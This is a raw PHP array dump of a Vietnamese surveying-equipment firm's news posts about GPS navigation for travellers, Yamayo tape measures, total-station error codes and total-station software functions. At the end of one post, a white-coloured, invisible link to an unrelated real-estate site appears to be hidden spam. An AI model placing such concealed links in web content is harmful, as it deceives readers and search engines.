sử dụng có thể định vị đường đi chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="308" src="http://dathop.com.vn/file/1502182663-loi-khuyen-su-dung-may-dinh-vi-gps.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="485" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ta chỉ cần định vị điểm đến mà chúng ta muốn, ứng dụng chỉ đường trong smartphone sẽ định vị đường đi từ vị trí mà chúng ta đang đứng đến điểm đến một cách chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Đây là cách phổ biến, nhưng điểm yếu là vùng phủ sóng bị hạn chế bởi nhà cung cấp mạng smartphone.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">3. Sử dụng máy định vị GPS cầm tay:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="331" src="http://dathop.com.vn/file/1502182829-264962.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="498" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cũng như các ứng dụng định vị dẫn đường trên smartphone, máy định vị GPS cầm tay cũng sử dụng hệ thống định vị toàn cầu GPS, hiển thị màn hình màu, nhưng nó còn có những đặc điểm nỗi trội hơn hẵn mà các phượt thủ không nên bỏ qua:</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Độ bền: máy định vị GPS cầm tay để chế tạo để sử dụng nơi hoang dã. Không như smartphone, hầu hết các máy định vị GPS cầm tay đều có khả năng chống thấm IPX7 như <a href="http://dathop.com.vn/post/dac-diem-noi-troi-cua-may-gpsmap-78-78s.html" style="margin: 0px auto; text-decoration-line: none; color: rgb(51, 51, 51); background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">Garmin GPS MAP 78/78s</a> nên nước mưa không phải là vấn đề đáng ngại.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tuổi thọ pin: máy định vị GPS cầm tay có thể hoạt động trong hơn 15 giờ sau mỗi lần sạc. Hầu hết máy định vị GPS loại này đều sử dụng pin AA đi kèm với máy, có thể lựa chọn pin sạc hay pin Lithium để kéo dài thời gian hoạt động. Còn với smartphone, bạn bị giới hạn ở nguồn sạc trên xe hơi hay sạc tường.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Vùng phủ sóng: Tất cả những gì mà máy định vị GPS cần để xác định chính xác vị trí của bạn là một nơi có thể thấy rõ bầu trời, không bị giới hạn bởi vùng phủ sóng như điện thoại di động.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tính năng: máy định vị GPS cầm tay được tích hợp một khí áp kế để theo dõi sự thay đổi của điều kiện thời tiết, một la bàn điện tử để định hướng và một cao độ/khí áp kế để xác định cao độ nơi bạn đang đứng so với mặt nước biển. Ngoài ra còn có thể ghi lại điểm đã đi, tránh lạc đường nhờ chức năng tracklog.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Lập bản đồ: máy định vị GPS không cần phải kết nối dữ liệu điện thoại di động để tải bản đồ, vì bản đồ đã được tải sẵn trong thiết bị này.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tính tới thời điểm hiện tại thì việc sử dụng thiết bị định vị GPS cầm tay sẽ là một lựa chọn tối ưu nhất cho các phượt thủ của chúng ta. </span></span></p> ', 'images' => '20170822084111b76542c2d4df05b5c7e4ccab538fe8c0.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '77229', 'slug' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '859', 'rght' => '860', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '491', 'name' => 'Thước dây Yamayo', 'code' => null, 'alias' => 'thuoc-day-yamayo', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thước dây là thiết bị đo đạc vô cùng quen thuộc trong mọi công trình cũng như trong cuộc sống thường ngày. Tuy nhiên, trong điều kiện khác nhau nên sử dụng loại thước chuyên biệt để đáp ứng độ chính xác cao, nhất là trong điều kiện ẩm thấp sẽ giảm chất lượng đi rất nhiều.</strong></span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Kể từ khi thành lập vào năm 1906, công ty Yamayo Measuring Tools, Ltd luôn cho ra đời những thiết bị đo lường tin cậy và không ngừng cải tiến công nghệ để đảm bảo độ chính xác cao nhất trong điều kiện môi trường khắc nghiệt nhất.<br /> Hiện nay, Yamayo là một trong những nhà sản xuất lớn nhất và hàng đầu trong lĩnh vực đo lường tại Nhật Bản và đã được công nhận đặt nhãn JIS (cấp 1) cho mỗi sản phẩm theo tiêu chuẩn Quy chuẩn Công nghiệp Nhật Bản do Chính phủ quy định.<br /> Với nhiều năm kinh nghiệm tích lũy và lao động có tay nghề cao, Yamayo sản xuất những dòng sản phẩm được thiết kế tinh xảo, chất lượng cao dưới sự kiểm soát nghiêm ngặt.<br /> Tùy tính chất công việc cũng như điều kiện sử dụng mà Yamayo cho ra đời nhiều dòng thước dây khác nhau, đáp ứng độ chính xác cao cũng như đồ bền dài lâu.<br /> Thước dây Yamayo không đơn thuần là loại thước dây dùng trong đo đạc mà là loại thước với có nhiều đặc tính riêng biệt khác nhau. Trong môi trường luôn ẩm thấp, khắc nghiệt thì các loại thước thông thường sẽ nhanh chóng bị rỉ sét hoặc co dãn làm giảm độ chính xác mong muốn </span></span><span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px; white-space: pre-wrap;">nhưng thước dây sợi thủy tinh OTR Yamayo sẽ khắc phục mọi yếu tố bất lợi, giúp bạn đo đạc trong công trình xây dựng, đường ống nước, dây điện hay trong giao thông,... một cách dễ dàng và chính xác hơn.</span><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/Thuoc thep Yamayo.jpg" /><br /> <strong>Ưu điểm:</strong><br /> - Ít nhạy cảm, thân thiện với môi trường khi sử dụng.<br /> - Là loại thước sợi thuỷ tinh với lớp phủ PVC MILLION.<br /> - Lõi tổng hợp các sợi thủy tinh --> chống điện, chịu nhiệt cao, chống nước.<br /> <strong>ĐẶC ĐIỂM NỔI BẬT</strong><br /> · Là sản phẩm đến từ thương hiệu Yamayo của Nhật, được các nhà thầu tin dùng.<br /> · Thước làm từ sợi thủy tinh mang lại tính mềm dẻo, uyển chuyển, dễ dàng sử dụng.<br /> · Mặt thước được in ấn các chi tiết rõ ràng, giúp đọc số dễ dàng.<br /> · Sử dụng đo đạc với nhiều mục đích khác nhau với chiều dài dải đo lên đến 30m, 50m, 100m.<br /> · Thân thước gọn nhẹ dễ dàng mang theo bên mình.</span></span>', 'images' => '20170822082652b877c34c37d3ab54dcabe110b6a67214.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71691', 'slug' => 'thuoc-day-yamayo', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '857', 'rght' => '858', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '490', 'name' => 'Những lỗi thường gặp khi sử dụng máy toàn đạc điện tử', 'code' => null, 'alias' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px;">Máy toàn đạc điện tử là một thiết bị đo đạc yêu cầu độ chính xác tuyệt đối nhằm đảm bảo yếu tố kỹ thuật chính xác trong quá trình xây dựng công trình, cầu đường, vẽ bản đồ, thăm dò địa chất…Những lỗi thường gặp trong quá trình sử dụng máy toàn đạc điện tử bạn nên biết.</span>', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Những lỗi thường gặp khi sử dụng máy toàn đạc Topcon và Sokkia mà bạn cần biết!</strong></p> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <br /> <strong>* Máy toàn đạc Topcon:</strong><br /> <br /> - V Angle Error: Khi khởi động trên màn hình sẽ hiển thị “V Angle Error” hoặc số đọc góc đứng chỉ thay đổi trong một khoảng nào đó rồi đứng yên (bị treo) nhưng màn hình không hiển thị lỗi, tiếp tục quay ống kính thì góc thay đổi trở lại bình thường nhưng máy sẽ bị sai số MO rất lớn.<br /> - H Angle Error: Khi khởi động trên màn hình sẽ hiển thị “H <span class="text_exposed_show" style="display: inline; font-family: inherit;">Angle Error”, hoặc quay thân máy đến một vị trí nào đó thì số đọc góc ngang không thay đổi và máy bị treo.<br /> - Tilt Over: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng rồi nhưng lỗi này vẫn xuất hiện là do lỗi của hệ thống bù nghiêng điện tử.<br /> - E61, E68, E69: lỗi này xuất hiện khi có sự bất thường xảy ra ở hệ thống đo cạnh, phần lớn xảy ra ở mạch xử lý đo cạnh. Trong một số trường hợp máy không xuất hiện lỗi này nhưng máy đo cạnh cho kết quả sai số lớn so với thực tế (số ảo).<br /> - E99: xuất hiện khi khởi động máy do mạch chủ của thiết bị hoạt động không bình thường.<br /> - Memory Error: lỗi xảy ra ở bộ nhớ của thiết bị.<br /> Trong các trường hợp máy bị rơi máy sẽ thường báo lỗi “Tilt Over”. Lúc đó máy sẽ không bắt được mục tiêu, khoảng cách đo ngắn, tâm laser đo cạnh bị lệch…</span><br /> </p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <strong>* Máy toàn đạc điện tử Sokkia:</strong><br /> <br /> - Out of range: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng nhưng vẫn xuất hiện lỗi này thì bộ bù nghiêng điện tử của máy có sự bất thường.<br /> - Bad Condition, E003, E005: Lỗi này xảy ra ở hệ thống đo cạnh. Trong một số trường hợp, máy không báo một trong các lỗi này nhưng khoảng cách đo lại ngắn hơn 50m.<br /> - E190, E191: Lỗi xảy ra ở hệ thống góc đứng và ngang.</p> <p style="margin: 6px 0px; font-family: inherit;"> </p> <p style="margin: 6px 0px; font-family: inherit;"> Khi gặp những lỗi trên hãy liên lạc với chúng tôi theo số hotline: 0913051734 để được tư vấn kịp thời hoặc mang máy tới địa chỉ sau để khắc phục nhé!</p> <p style="margin: 6px 0px; font-family: inherit;"> CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT<br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none; font-family: inherit;" target="_blank">www.tracdiathanhdat.vn</a></p> </div> ', 'images' => '20170725082617856a8a63d5ddebf72614164f9ef7005f.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63798', 'slug' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '855', 'rght' => '856', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '489', 'name' => 'Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?', 'code' => null, 'alias' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?</strong><br /> <br /> Những lý do sau sẽ giúp bạn hiểu thêm về chúng tôi:<br /> <br /> - Cung cấp sản phẩm đa dạng, phong phú với những thương hiệu uy tín trên thị trường như Trimble, Leica, Topcon, Sokkia, Nikon, Yamayo, Kenwood, Garmin …<br /> <br /> - Có hỗ trợ phần mềm đi kèm, với nhân viên kỹ thuật có chuyên môn, tư vấn tận tình<br /> <br /> <br /> - Cập nhật những dòng máy mới, công nghệ mới nhằm tăng độ chính xác và hiệu quả hơn trong công tác đo <span class="text_exposed_show" style="display: inline; font-family: inherit;">đạc, giúp tiết kiệm nhân công và chi phí.<br /> <br /> - Thiết bị có đầy đủ linh kiện, phụ kiện theo kèm; có giấy kiểm nghiệm; phiếu bảo hành; ghi rõ nguồn gốc xuất xứ.<br /> <br /> - Có đội ngũ kỹ thuật chuyên môn cao về lĩnh vực trắc địa để tư vấn phù hợp và kịp thời xử lý vấn đề như thiết bị bị lỗi, kiểm định, bảo hành, bảo dưỡng,…<br /> <br /> - Có nhiều giải pháp phù hợp cho nhiều đối tượng, từ những công ty lớn với những dự án lớn, yêu cầu cao và phức tạp cho tới những đơn vị nhỏ, lẻ với những dự án vừa và nhỏ</span></p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <img alt="" src="/admin/webroot/upload/image/images/Sprinter_Measuring_500.jpg" style="width: 500px; height: 333px;" /><br /> <br /> <u>Liên hệ:</u><br /> <br /> <strong>CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT</strong><br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Hotline: 0913051734<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none;" target="_blank">www.tracdiathanhdat.vn</a><br /> </p> </div> ', 'images' => '201707240414024fbb6fccfcb40bf7edd645a69343b1cb.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '58560', 'slug' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '853', 'rght' => '854', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '488', 'name' => 'PHẦN MỀM ỨNG DỤNG MÁY TOÀN ĐẠC ĐIỆN TỬ BẠN NÊN BIẾT', 'code' => null, 'alias' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Máy toàn đạc điện tử cơ bản là máy kinh vĩ kết hợp khối đo xa điện tử và phần mềm tiện ích trong máy. Phần mềm tiện ích để giải quyết các bài toán trong trắc địa và tính ra các đại lượng cần thiết, quản lý dữ liệu, giao tiếp với máy tính...</strong></span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong máy toàn đạc điện tử thì các chương trình ứng dụng thường có trong 2 phần là Reference (Chương trình đo tham chiếu) và COGO (tính toán địa hình).<br /> <br /> - <strong> Chương trình đo tham chiếu (Reference):</strong><br /> + Reference Line (Tham chiếu đường thẳng):Chương trình đo tham chiếu đường thẳng là ứng dụng giúp xác định 1 hoặc nhiều đường thẳng tham chiếukhi biết 1 đường Base line và khoảng cách Offset giữa 2 đường.<br /> + Reference Arc (Tham chiếu đường cong):Ứng dụng tham chiếu đường cong cho phép người dùng có thể xác định 1 đường cong và hoàn thànhcác nhiệm vụ sau đây:<br /> * Line&Offset: Xác định khoảng cách và giá trị offset của 1 điểm với cung tròn<br /> * Stakeout (Point, Arc, Chord, Angle): Triển điểm thiết kế<br /> - <strong>Cogo:</strong><br /> + <strong>MLM</strong>: Tính khoảng cách giữa 2 gương<br /> + <strong>REM</strong>: Tính chiều cao không với tới<br /> + <strong>AREA: </strong>Tính diện tích.<br /> + <strong>Inverse</strong>: Tính góc phương vị và khoảng cách từ 2 điểm biết tọa độ.<br /> + <strong>Tranverse: </strong>Tính tọa độ khi biết tọa độ 1 điềm, góc phương vị, cạnh. Khi tính toán xong thì ta dùng <strong>Setout </strong>để bố trí ra ngoài thực địa.<br /> + <strong>Brg-Brg</strong>: Tính tọa độ điểm P3 là giao của P1P3 và P2P3 khi biết tọa độ P1, góc phương vị αP1P3, tọa độ P2, góc phương vị αP2P3.<br /> + <strong>Brg-Dst</strong>: Tính tọa độ điểm P3, P4 khi biết tọa độ P1, P2, góc phương vị αP1P2, khoảng cách bán kính tính từ P2.<br /> + <strong>Intersection 4 points</strong>:Tính tọa độ giao điểm P5 khi biết tọa độ P1, P2, P3, P4.<br /> + <strong>DistOf</strong>: Tính khoảng cách từ điểm P1 đến đường vuông góc P3˽P1P2 và khoảng cách đường vuông góc từ P3 đến P1P2.<br /> + <strong>Set point by Dist offset</strong>: Tính tọa độ điểm P3 khi biết tọa độ P1, P2, khoảng cách dường vuông góc từ P3 đến P1P2, khi tính xong ta dùng <strong>Setout</strong> để chuyển điểm ra thực địa).<br /> + <strong>Extension</strong>: Chức năng Extension được ứng dụng để xác định 1 điểm bất kỳ trên 1 đường thẳng khi biết trước 2điểm làm gốc, và khoảng cách cần từ điểm thứ nhất đến điểm cần xác định, hoặc từ điểm thứ 2 đếnđiểm cần xác định.<br /> <br /> Liên hệ hotline: 0913051734 để biết thêm thông tin chi tiết. </span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Goldlight</span></a>', 'images' => '2017061307412262e44187d92348c552952aa4bf152e90.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-06-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63648', 'slug' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '851', 'rght' => '852', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '487', 'name' => 'PIN MÁY TOÀN ĐẠC ĐIỆN TỬ TOPCON', 'code' => null, 'alias' => 'pin-may-toan-dac-dien-tu-topcon', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify;">Ngày nay khi công nghệ 